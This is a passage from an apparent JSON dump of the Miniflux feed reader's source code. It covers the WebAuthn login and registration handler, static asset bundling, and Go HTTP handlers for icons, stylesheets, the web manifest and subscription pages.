element.addEventListener(\"touchmove\", () => this.reset(), eventListenerOptions);\n                element.addEventListener(\"touchcancel\", () => this.reset(), eventListenerOptions);\n            } else if (element.classList.contains(\"gesture-nav-swipe\")) {\n                element.addEventListener(\"touchstart\", (e) => this.onContentTouchStart(e), eventListenerOptions);\n                element.addEventListener(\"touchmove\", (e) => this.onContentTouchMove(e), eventListenerOptions);\n                element.addEventListener(\"touchend\", (e) => this.onContentTouchEnd(e), eventListenerOptions);\n                // Use arrow to keep TouchHandler context; otherwise this would become the DOM element on cancel.\n                element.addEventListener(\"touchcancel\", () => this.reset(), eventListenerOptions);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "internal/ui/static/js/webauthn_handler.js",
    "content": "class WebAuthnHandler {\n    static isWebAuthnSupported() {\n        return typeof PublicKeyCredential !== \"undefined\";\n    }\n\n    static showErrorMessage(errorMessage) {\n        console.error(\"WebAuthn error:\", errorMessage);\n\n        const alertElement = document.getElementById(\"webauthn-error-alert\");\n        if (alertElement) {\n            alertElement.remove();\n        }\n\n        const alertTemplateElement = document.getElementById(\"webauthn-error\");\n        if (alertTemplateElement) {\n            const clonedElement = alertTemplateElement.content.cloneNode(true);\n            const errorMessageElement = clonedElement.getElementById(\"webauthn-error-message\");\n            if (errorMessageElement) {\n                errorMessageElement.textContent = errorMessage;\n            }\n            alertTemplateElement.parentNode.insertBefore(clonedElement, alertTemplateElement);\n        }\n    }\n\n    static async isConditionalLoginSupported() {\n        return WebAuthnHandler.isWebAuthnSupported() &&\n            window.PublicKeyCredential.isConditionalMediationAvailable &&\n            await window.PublicKeyCredential.isConditionalMediationAvailable();\n    }\n\n    async conditionalLogin(abortController) {\n        if (await WebAuthnHandler.isConditionalLoginSupported()) {\n            return this.login(\"\", abortController);\n        }\n    }\n\n    decodeBuffer(value) {\n        return Uint8Array.from(atob(value.replace(/-/g, \"+\").replace(/_/g, \"/\")), c => c.charCodeAt(0));\n    }\n\n    encodeBuffer(value) {\n        return btoa(String.fromCharCode.apply(null, new Uint8Array(value)))\n            .replace(/\\+/g, \"-\")\n            .replace(/\\//g, \"_\")\n            .replace(/=+$/g, \"\");\n    }\n\n    async post(urlKey, username, data) {\n        let url = document.body.dataset[urlKey];\n        if (username) {\n            url += `?username=${encodeURIComponent(username)}`;\n        }\n\n        return sendPOSTRequest(url, data);\n    }\n\n    async get(urlKey, username) {\n        let url = document.body.dataset[urlKey];\n        if (username) {\n            url += `?username=${encodeURIComponent(username)}`;\n        }\n        return fetch(url);\n    }\n\n    async removeAllCredentials() {\n        try {\n            await this.post(\"webauthnDeleteAllUrl\", null, {});\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        window.location.reload();\n    }\n\n    async register() {\n        let registerBeginResponse;\n        try {\n            registerBeginResponse = await this.get(\"webauthnRegisterBeginUrl\");\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        let credentialCreationOptions;\n        try {\n            credentialCreationOptions = await registerBeginResponse.json();\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(\"Failed to parse registration options\");\n            return;\n        }\n\n        credentialCreationOptions.publicKey.challenge = this.decodeBuffer(credentialCreationOptions.publicKey.challenge);\n        credentialCreationOptions.publicKey.user.id = this.decodeBuffer(credentialCreationOptions.publicKey.user.id);\n        if (Object.hasOwn(credentialCreationOptions.publicKey, 'excludeCredentials')) {\n            credentialCreationOptions.publicKey.excludeCredentials.forEach((credential) => {\n                credential.id = this.decodeBuffer(credential.id);\n            });\n        }\n\n        let attestation;\n        try {\n            attestation = await navigator.credentials.create(credentialCreationOptions);\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        let registrationFinishResponse;\n        try {\n            registrationFinishResponse = await this.post(\"webauthnRegisterFinishUrl\", null, {\n                id: attestation.id,\n                rawId: this.encodeBuffer(attestation.rawId),\n                type: attestation.type,\n                response: {\n                    attestationObject: this.encodeBuffer(attestation.response.attestationObject),\n                    clientDataJSON: this.encodeBuffer(attestation.response.clientDataJSON),\n                },\n            });\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        if (!registrationFinishResponse.ok) {\n            throw new Error(`Registration failed with HTTP status code ${registrationFinishResponse.status}`);\n        }\n\n        const jsonData = await registrationFinishResponse.json();\n        window.location.href = jsonData.redirect;\n    }\n\n    async login(username, abortController) {\n        let loginBeginResponse;\n        try {\n            loginBeginResponse = await this.get(\"webauthnLoginBeginUrl\", username);\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        let credentialRequestOptions;\n        try {\n            credentialRequestOptions = await loginBeginResponse.json();\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(\"Failed to parse login options\");\n            return;\n        }\n\n        credentialRequestOptions.publicKey.challenge = this.decodeBuffer(credentialRequestOptions.publicKey.challenge);\n\n        if (Object.hasOwn(credentialRequestOptions.publicKey, 'allowCredentials')) {\n            credentialRequestOptions.publicKey.allowCredentials.forEach((credential) => {\n                credential.id = this.decodeBuffer(credential.id);\n            });\n        }\n\n        if (abortController) {\n            credentialRequestOptions.signal = abortController.signal;\n            credentialRequestOptions.mediation = \"conditional\";\n        }\n\n        let assertion;\n        try {\n            assertion = await navigator.credentials.get(credentialRequestOptions);\n        }\n        catch (err) {\n            // Swallow aborted conditional logins\n            if (err instanceof DOMException && err.name === \"AbortError\") {\n                return;\n            }\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        if (!assertion) {\n            return;\n        }\n\n        let loginFinishResponse;\n        try {\n            loginFinishResponse = await this.post(\"webauthnLoginFinishUrl\", username, {\n                id: assertion.id,\n                rawId: this.encodeBuffer(assertion.rawId),\n                type: assertion.type,\n                response: {\n                    authenticatorData: this.encodeBuffer(assertion.response.authenticatorData),\n                    clientDataJSON: this.encodeBuffer(assertion.response.clientDataJSON),\n                    signature: this.encodeBuffer(assertion.response.signature),\n                    userHandle: this.encodeBuffer(assertion.response.userHandle),\n                },\n            });\n        } catch (err) {\n            WebAuthnHandler.showErrorMessage(err);\n            return;\n        }\n\n        if (!loginFinishResponse.ok) {\n            throw new Error(`Login failed with HTTP status code ${loginFinishResponse.status}`);\n        }\n\n        window.location.reload();\n    }\n}\n"
  },
  {
    "path": "internal/ui/static/static.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage static // import \"miniflux.app/v2/internal/ui/static\"\n\nimport (\n\t\"bytes\"\n\t\"embed\"\n\t\"log/slog\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\n\t\"github.com/tdewolff/minify/v2\"\n\t\"github.com/tdewolff/minify/v2/css\"\n\t\"github.com/tdewolff/minify/v2/js\"\n\t\"github.com/tdewolff/minify/v2/svg\"\n)\n\ntype asset struct {\n\tData     []byte\n\tChecksum string\n}\n\n// Static assets.\nvar (\n\tStylesheetBundles map[string]asset\n\tJavascriptBundles map[string]asset\n\tBinaryBundles     map[string]asset\n)\n\n//go:embed bin/*\nvar binaryFiles embed.FS\n\n//go:embed css/*.css\nvar stylesheetFiles embed.FS\n\n//go:embed js/*.js\nvar javascriptFiles embed.FS\n\nfunc GenerateBinaryBundles() error {\n\tdirEntries, err := binaryFiles.ReadDir(\"bin\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tBinaryBundles = make(map[string]asset, len(dirEntries))\n\n\tminifier := minify.New()\n\tminifier.Add(\"image/svg+xml\", &svg.Minifier{\n\t\tKeepComments: true, // needed to keep the license\n\t})\n\n\tfor _, dirEntry := range dirEntries {\n\t\tname := dirEntry.Name()\n\t\tdata, err := binaryFiles.ReadFile(\"bin/\" + name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif strings.HasSuffix(name, \".svg\") {\n\t\t\t// minifier.Bytes returns the data unchanged in case of error.\n\t\t\tdata, err = minifier.Bytes(\"image/svg+xml\", data)\n\t\t\tif err != nil {\n\t\t\t\tslog.Error(\"Unable to minimize the svg file\", slog.String(\"filename\", name), slog.Any(\"error\", err))\n\t\t\t}\n\t\t}\n\n\t\tBinaryBundles[name] = asset{\n\t\t\tData:     data,\n\t\t\tChecksum: crypto.HashFromBytes(data),\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// GenerateStylesheetsBundles creates CSS bundles.\nfunc GenerateStylesheetsBundles() error {\n\tvar bundles = map[string][]string{\n\t\t\"light_serif\":       {\"css/light.css\", \"css/serif.css\", \"css/common.css\"},\n\t\t\"light_sans_serif\":  {\"css/light.css\", \"css/sans_serif.css\", \"css/common.css\"},\n\t\t\"dark_serif\":        {\"css/dark.css\", \"css/serif.css\", \"css/common.css\"},\n\t\t\"dark_sans_serif\":   {\"css/dark.css\", \"css/sans_serif.css\", \"css/common.css\"},\n\t\t\"system_serif\":      {\"css/system.css\", \"css/serif.css\", \"css/common.css\"},\n\t\t\"system_sans_serif\": {\"css/system.css\", \"css/sans_serif.css\", \"css/common.css\"},\n\t}\n\n\tStylesheetBundles = make(map[string]asset, len(bundles))\n\n\tminifier := minify.New()\n\tminifier.AddFunc(\"text/css\", css.Minify)\n\n\tfor bundle, srcFiles := range bundles {\n\t\tvar buffer bytes.Buffer\n\n\t\tfor _, srcFile := range srcFiles {\n\t\t\tfileData, err := stylesheetFiles.ReadFile(srcFile)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tbuffer.Write(fileData)\n\t\t}\n\n\t\tminifiedData, err := minifier.Bytes(\"text/css\", buffer.Bytes())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tStylesheetBundles[bundle] = asset{\n\t\t\tData:     minifiedData,\n\t\t\tChecksum: crypto.HashFromBytes(minifiedData),\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// GenerateJavascriptBundles creates JS bundles.\nfunc GenerateJavascriptBundles(webauthnEnabled bool) error {\n\tvar bundles = map[string][]string{\n\t\t\"app\": {\n\t\t\t\"js/touch_handler.js\",\n\t\t\t\"js/keyboard_handler.js\",\n\t\t\t\"js/app.js\",\n\t\t},\n\t\t\"service-worker\": {\n\t\t\t\"js/service_worker.js\",\n\t\t},\n\t}\n\n\tif webauthnEnabled {\n\t\tbundles[\"app\"] = slices.Insert(bundles[\"app\"], 1, \"js/webauthn_handler.js\")\n\t}\n\n\tJavascriptBundles = make(map[string]asset, len(bundles))\n\n\tjsMinifier := js.Minifier{Version: 2020}\n\n\tminifier := minify.New()\n\tminifier.AddFunc(\"text/javascript\", jsMinifier.Minify)\n\n\tfor bundle, srcFiles := range bundles {\n\t\tvar buffer bytes.Buffer\n\n\t\tfor _, srcFile := range srcFiles {\n\t\t\tfileData, err := javascriptFiles.ReadFile(srcFile)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tbuffer.Write(fileData)\n\t\t}\n\n\t\tminifiedData, err := minifier.Bytes(\"text/javascript\", buffer.Bytes())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tJavascriptBundles[bundle] = asset{\n\t\t\tData:     minifiedData,\n\t\t\tChecksum: crypto.HashFromBytes(minifiedData),\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/ui/static_app_icon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/ui/static\"\n)\n\nfunc (h *handler) showAppIcon(w http.ResponseWriter, r *http.Request) {\n\tfilename := request.RouteStringParam(r, \"filename\")\n\tvalue, ok := static.BinaryBundles[filename]\n\tif !ok {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.NewBuilder(w, r).WithCaching(value.Checksum, 72*time.Hour, func(b *response.Builder) {\n\t\tswitch filepath.Ext(filename) {\n\t\tcase \".png\":\n\t\t\tb.WithoutCompression()\n\t\t\tb.WithHeader(\"Content-Type\", \"image/png\")\n\t\tcase \".svg\":\n\t\t\tb.WithHeader(\"Content-Type\", \"image/svg+xml\")\n\t\t}\n\t\tb.WithBodyAsBytes(value.Data)\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/static_favicon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/ui/static\"\n)\n\nfunc (h *handler) showFavicon(w http.ResponseWriter, r *http.Request) {\n\tvalue, ok := static.BinaryBundles[\"favicon.ico\"]\n\tif !ok {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.NewBuilder(w, r).WithCaching(value.Checksum, 48*time.Hour, func(b *response.Builder) {\n\t\tb.WithHeader(\"Content-Type\", \"image/x-icon\")\n\t\tb.WithoutCompression()\n\t\tb.WithBodyAsBytes(value.Data)\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/static_javascript.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/ui/static\"\n)\n\nconst licensePrefix = \"//@license magnet:?xt=urn:btih:8e4f440f4c65981c5bf93c76d35135ba5064d8b7&dn=apache-2.0.txt Apache-2.0\\n\"\nconst licenseSuffix = \"\\n//@license-end\"\n\nfunc (h *handler) showJavascript(w http.ResponseWriter, r *http.Request) {\n\t// The filename path value contains \"name.checksum.js\"; reject non-JS requests\n\t// and extract the name portion.\n\trawFilename := r.PathValue(\"filename\")\n\tif !strings.HasSuffix(rawFilename, \".js\") {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\tfilename, _, _ := strings.Cut(strings.TrimSuffix(rawFilename, \".js\"), \".\")\n\tjs, found := static.JavascriptBundles[filename]\n\tif !found {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.NewBuilder(w, r).WithCaching(js.Checksum, 48*time.Hour, func(b *response.Builder) {\n\t\tcontents := js.Data\n\n\t\tif filename == \"service-worker\" {\n\t\t\tvariables := fmt.Sprintf(`const OFFLINE_URL=%q;`, h.routePath(\"/offline\"))\n\t\t\tcontents = append([]byte(variables), contents...)\n\t\t}\n\n\t\t// cloning the prefix since `append` mutates its first argument\n\t\tcontents = append([]byte(strings.Clone(licensePrefix)), contents...)\n\t\tcontents = append(contents, []byte(licenseSuffix)...)\n\n\t\tb.WithHeader(\"Content-Type\", \"text/javascript; charset=utf-8\")\n\t\tb.WithBodyAsBytes(contents)\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/static_manifest.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc (h *handler) showWebManifest(w http.ResponseWriter, r *http.Request) {\n\ttype webManifestShareTargetParams struct {\n\t\tURL  string `json:\"url\"`\n\t\tText string `json:\"text\"`\n\t}\n\n\ttype webManifestShareTarget struct {\n\t\tAction  string                       `json:\"action\"`\n\t\tMethod  string                       `json:\"method\"`\n\t\tEnctype string                       `json:\"enctype\"`\n\t\tParams  webManifestShareTargetParams `json:\"params\"`\n\t}\n\n\ttype webManifestIcon struct {\n\t\tSource  string `json:\"src\"`\n\t\tSizes   string `json:\"sizes,omitempty\"`\n\t\tType    string `json:\"type,omitempty\"`\n\t\tPurpose string `json:\"purpose,omitempty\"`\n\t}\n\n\ttype webManifestShortcut struct {\n\t\tName  string            `json:\"name\"`\n\t\tURL   string            `json:\"url\"`\n\t\tIcons []webManifestIcon `json:\"icons,omitempty\"`\n\t}\n\n\ttype webManifest struct {\n\t\tName            string                 `json:\"name\"`\n\t\tDescription     string                 `json:\"description\"`\n\t\tShortName       string                 `json:\"short_name\"`\n\t\tStartURL        string                 `json:\"start_url\"`\n\t\tIcons           []webManifestIcon      `json:\"icons\"`\n\t\tShareTarget     webManifestShareTarget `json:\"share_target\"`\n\t\tDisplay         string                 `json:\"display\"`\n\t\tBackgroundColor string                 `json:\"background_color\"`\n\t\tShortcuts       []webManifestShortcut  `json:\"shortcuts\"`\n\t}\n\n\tdisplayMode := \"standalone\"\n\tlabelNewFeed := \"Add Feed\"\n\tlabelUnreadMenu := \"Unread\"\n\tlabelStarredMenu := \"Starred\"\n\tlabelHistoryMenu := \"History\"\n\tlabelFeedsMenu := \"Feeds\"\n\tlabelCategoriesMenu := \"Categories\"\n\tlabelSearchMenu := \"Search\"\n\tlabelSettingsMenu := \"Settings\"\n\tif request.IsAuthenticated(r) {\n\t\tuser, err := h.store.UserByID(request.UserID(r))\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tdisplayMode = user.DisplayMode\n\t\tprinter := locale.NewPrinter(user.Language)\n\t\tlabelNewFeed = printer.Print(\"menu.add_feed\")\n\t\tlabelUnreadMenu = printer.Print(\"menu.unread\")\n\t\tlabelStarredMenu = printer.Print(\"menu.starred\")\n\t\tlabelHistoryMenu = printer.Print(\"menu.history\")\n\t\tlabelFeedsMenu = printer.Print(\"menu.feeds\")\n\t\tlabelCategoriesMenu = printer.Print(\"menu.categories\")\n\t\tlabelSearchMenu = printer.Print(\"menu.search\")\n\t\tlabelSettingsMenu = printer.Print(\"menu.settings\")\n\t}\n\tthemeColor := model.ThemeColor(request.UserTheme(r), \"light\")\n\tmanifest := &webManifest{\n\t\tName:            \"Miniflux\",\n\t\tShortName:       \"Miniflux\",\n\t\tDescription:     \"Minimalist Feed Reader\",\n\t\tDisplay:         displayMode,\n\t\tStartURL:        h.routePath(\"/\"),\n\t\tBackgroundColor: themeColor,\n\t\tIcons: []webManifestIcon{\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"icon-120.png\"), Sizes: \"120x120\", Type: \"image/png\", Purpose: \"any\"},\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"icon-192.png\"), Sizes: \"192x192\", Type: \"image/png\", Purpose: \"any\"},\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"icon-512.png\"), Sizes: \"512x512\", Type: \"image/png\", Purpose: \"any\"},\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"maskable-icon-120.png\"), Sizes: \"120x120\", Type: \"image/png\", Purpose: \"maskable\"},\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"maskable-icon-192.png\"), Sizes: \"192x192\", Type: \"image/png\", Purpose: \"maskable\"},\n\t\t\t{Source: h.routePath(\"/icon/%s\", \"maskable-icon-512.png\"), Sizes: \"512x512\", Type: \"image/png\", Purpose: \"maskable\"},\n\t\t},\n\t\tShareTarget: webManifestShareTarget{\n\t\t\tAction:  h.routePath(\"/bookmarklet\"),\n\t\t\tMethod:  http.MethodGet,\n\t\t\tEnctype: \"application/x-www-form-urlencoded\",\n\t\t\tParams:  webManifestShareTargetParams{URL: \"uri\", Text: \"text\"},\n\t\t},\n\t\tShortcuts: []webManifestShortcut{\n\t\t\t{Name: labelNewFeed, URL: h.routePath(\"/subscribe\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"add-feed-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelUnreadMenu, URL: h.routePath(\"/unread\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"unread-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelStarredMenu, URL: h.routePath(\"/starred\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"starred-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelHistoryMenu, URL: h.routePath(\"/history\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"history-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelFeedsMenu, URL: h.routePath(\"/feeds\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"feeds-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelCategoriesMenu, URL: h.routePath(\"/categories\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"categories-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelSearchMenu, URL: h.routePath(\"/search\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"search-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t\t{Name: labelSettingsMenu, URL: h.routePath(\"/settings\"), Icons: []webManifestIcon{{Source: h.routePath(\"/icon/%s\", \"settings-icon.png\"), Sizes: \"240x240\", Type: \"image/png\"}}},\n\t\t},\n\t}\n\n\tresponse.JSON(w, r, manifest)\n}\n"
  },
  {
    "path": "internal/ui/static_stylesheet.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/ui/static\"\n)\n\nfunc (h *handler) showStylesheet(w http.ResponseWriter, r *http.Request) {\n\t// The filename path value contains \"name.checksum.css\"; extract the name portion.\n\tfilename, _, _ := strings.Cut(r.PathValue(\"filename\"), \".\")\n\tm, found := static.StylesheetBundles[filename]\n\tif !found {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.NewBuilder(w, r).WithCaching(m.Checksum, 48*time.Hour, func(b *response.Builder) {\n\t\tb.WithHeader(\"Content-Type\", \"text/css; charset=utf-8\")\n\t\tb.WithBodyAsBytes(m.Data)\n\t\tb.Write()\n\t})\n}\n"
  },
  {
    "path": "internal/ui/subscription_add.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showAddSubscriptionPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"categories\", categories)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\tview.Set(\"form\", &form.SubscriptionForm{CategoryID: 0})\n\tview.Set(\"hasProxyConfigured\", config.Opts.HasHTTPClientProxyURLConfigured())\n\n\tresponse.HTML(w, r, view.Render(\"add_subscription\"))\n}\n"
  },
  {
    "path": "internal/ui/subscription_bookmarklet.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\n// Best effort url extraction regexp\nvar urlRe = regexp.MustCompile(`(?i)(?:https?://)?[0-9a-z.]+[.][a-z]+(?::[0-9]+)?(?:/[^ ]+|/)?`)\n\nfunc (h *handler) bookmarklet(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tbookmarkletURL := request.QueryStringParam(r, \"uri\", \"\")\n\n\t// Extract URL from text supplied by Web Share Target API.\n\t//\n\t// This is because Android intents have no concept of URL, so apps\n\t// just shove a URL directly into the EXTRA_TEXT intent field.\n\t//\n\t// See https://bugs.chromium.org/p/chromium/issues/detail?id=789379.\n\ttext := request.QueryStringParam(r, \"text\", \"\")\n\tif text != \"\" && bookmarkletURL == \"\" {\n\t\tbookmarkletURL = urlRe.FindString(text)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", form.SubscriptionForm{URL: bookmarkletURL})\n\tview.Set(\"categories\", categories)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\tview.Set(\"hasProxyConfigured\", config.Opts.HasHTTPClientProxyURLConfigured())\n\n\tresponse.HTML(w, r, view.Render(\"add_subscription\"))\n}\n"
  },
  {
    "path": "internal/ui/subscription_choose.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showChooseSubscriptionPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"categories\", categories)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\n\tsubscriptionForm := form.NewSubscriptionForm(r)\n\tif validationErr := subscriptionForm.Validate(); validationErr != nil {\n\t\tview.Set(\"form\", subscriptionForm)\n\t\tview.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"add_subscription\"))\n\t\treturn\n\t}\n\n\tfeed, localizedError := feedHandler.CreateFeed(h.store, user.ID, &model.FeedCreationRequest{\n\t\tCategoryID:                  subscriptionForm.CategoryID,\n\t\tFeedURL:                     subscriptionForm.URL,\n\t\tCrawler:                     subscriptionForm.Crawler,\n\t\tIgnoreEntryUpdates:          subscriptionForm.IgnoreEntryUpdates,\n\t\tAllowSelfSignedCertificates: subscriptionForm.AllowSelfSignedCertificates,\n\t\tUserAgent:                   subscriptionForm.UserAgent,\n\t\tCookie:                      subscriptionForm.Cookie,\n\t\tUsername:                    subscriptionForm.Username,\n\t\tPassword:                    subscriptionForm.Password,\n\t\tScraperRules:                subscriptionForm.ScraperRules,\n\t\tRewriteRules:                subscriptionForm.RewriteRules,\n\t\tUrlRewriteRules:             subscriptionForm.UrlRewriteRules,\n\t\tBlocklistRules:              subscriptionForm.BlocklistRules,\n\t\tKeeplistRules:               subscriptionForm.KeeplistRules,\n\t\tKeepFilterEntryRules:        subscriptionForm.KeepFilterEntryRules,\n\t\tBlockFilterEntryRules:       